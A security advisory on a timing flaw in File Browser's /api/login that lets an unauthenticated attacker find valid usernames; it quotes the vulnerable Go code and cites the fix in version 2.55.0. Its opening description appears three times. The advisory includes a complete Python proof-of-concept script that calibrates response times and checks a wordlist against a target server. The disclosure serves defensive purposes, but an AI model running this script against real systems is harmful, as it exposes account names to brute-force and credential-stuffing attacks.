File Browser vulnerable to Username Enumeration via Timing Attack in /api/login

File Browser provides a file managing interface within a specified directory and can be used to upload, delete, preview, rename, and edit files. Prior to version 2.55.0, the JSONAuth. Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint. The vulnerability exists due to a "short-circuit" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow. This difference in execution path creates a measurable timing discrepancy. Version 2.55.0 contains a patch for the issue.

File Browser provides a file managing interface within a specified directory and can be used to upload, delete, preview, rename, and edit files. Prior to version 2.55.0, the JSONAuth. Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint. The vulnerability exists due to a "short-circuit" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow. This difference in execution path creates a measurable timing discrepancy. Version 2.55.0 contains a patch for the issue.

File Browser provides a file managing interface within a specified directory and can be used to upload, delete, preview, rename, and edit files. Prior to version 2.55.0, the JSONAuth. Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint. The vulnerability exists due to a "short-circuit" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow. This difference in execution path creates a measurable timing discrepancy. Version 2.55.0 contains a patch for the issue.

### Summary The JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint. ### Details The vulnerability exists due to a "short-circuit" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow. This difference in execution path creates a measurable timing discrepancy: Invalid User: ~1ms execution (Database lookup only). Valid User: ~50ms+ execution (Database lookup + Bcrypt hashing). In auth/json.go: ```go // auth/json.go line 54 u, err := usr.Get(srv.Root, cred.Username) // VULNERABILITY: // If 'err != nil' (User not found), the OR condition short-circuits. // The second part (!users.CheckPwd) is NEVER executed. // // If 'err == nil' (User found), the code MUST execute users.CheckPwd (Bcrypt). if err != nil || !users.CheckPwd(cred.Password, u.Password) { return nil, os.ErrPermission } ``` ### PoC The following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold. ```python import requests import time import random import string import statistics import argparse CALIBRATION_SAMPLES = 20 ENDPOINT = "/api/login" def generate_random_user(length=10): return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def measure_response_time(url, username): start = time.perf_counter() try: requests.post(url, json={"username": username, "password": "dummy_pass_123!"}) except Exception as e: print(f"[!] Connection error: {e}") return 0 return time.perf_counter() - start def calibrate(url): print(f"\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...") times = [] print(" Progress: ", end="", flush=True) for _ in range(CALIBRATION_SAMPLES): random_user = generate_random_user() elapsed = measure_response_time(url, random_user) times.append(elapsed) print(".", end="", flush=True) print(" OK") mean = statistics.mean(times) try: stdev = statistics.stdev(times) except: stdev = 0.0 threshold = mean + (5 * stdev) + 0.005 print(f" - Mean time (invalid users): {mean:.4f}s") print(f" - Standard deviation: {stdev:.6f}s") print(f" - Threshold set: {threshold:.4f}s") return threshold def load_wordlist(wordlist_path): try: with open(wordlist_path, 'r', encoding='utf-8') as f: users = [line.strip() for line in f if line.strip()] return users except FileNotFoundError: print(f"[!] Wordlist not found: {wordlist_path}") exit(1) except Exception as e: print(f"[!] Error reading wordlist: {e}") exit(1) def timing_attack(url, threshold, users): print(f"\n[*] Testing {len(users)} users from wordlist...") print("-" * 50) print(f"{'Username':<15} | {'Time':<10} | {'Status'}") print("-" * 50) found = [] for user in users: elapsed = measure_response_time(url, user) if elapsed > threshold: status = ">> VALID <<" found.append(user) else: status = "invalid" print(f"{user:<15} | {elapsed:.4f}s | {status}") return found def main(): parser = argparse.ArgumentParser(description='FileBrowser timing attack exploit') parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://localhost:8080)') parser.add_argument('-w', '--wordlist', required=True, help='Path to wordlist file') args = parser.parse_args() target_url = args.url.rstrip('/') + ENDPOINT print("=== FILEBROWSER TIMING ATTACK ===\n") print(f"[*] Target: {target_url}") print(f"[*] Wordlist: {args.wordlist}") try: threshold = calibrate(target_url) users = load_wordlist(args.wordlist) print(f"\n[*] Loaded {len(users)} users from wordlist") print("[*] Starting attack...") valid_users = timing_attack(target_url, threshold, users) print("\n" + "="*50) print(f"SUMMARY: {len(valid_users)} valid users found") if valid_users: for u in valid_users: print(f" -> {u}") print("="*50) except KeyboardInterrupt: print("\n[!] Attack cancelled") if __name__ == "__main__": main() ``` For example, in this case, I have guchihacker as the only valid user in the application. <img width="842" height="310" alt="image" src="https://github.com/user-attachments/assets/b3caf11e-279c-4532-aa96-fd20cda153a3" /> I am going to use the exploit to list valid users. <img width="628" height="716" alt="image" src="https://github.com/user-attachments/assets/f9d93e8e-e773-42a5-8a06-bc6bcc2a71fa" /> As we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time. ### Impact An unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., 'admin', 'root', employee names). I remain at your disposal for any questions you may have on this matter. Thank you very much. Sincerely, [Felix Sanchez (GUCHI)](https://guchihacker.github.io/)

File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login in github.com/filebrowser/filebrowser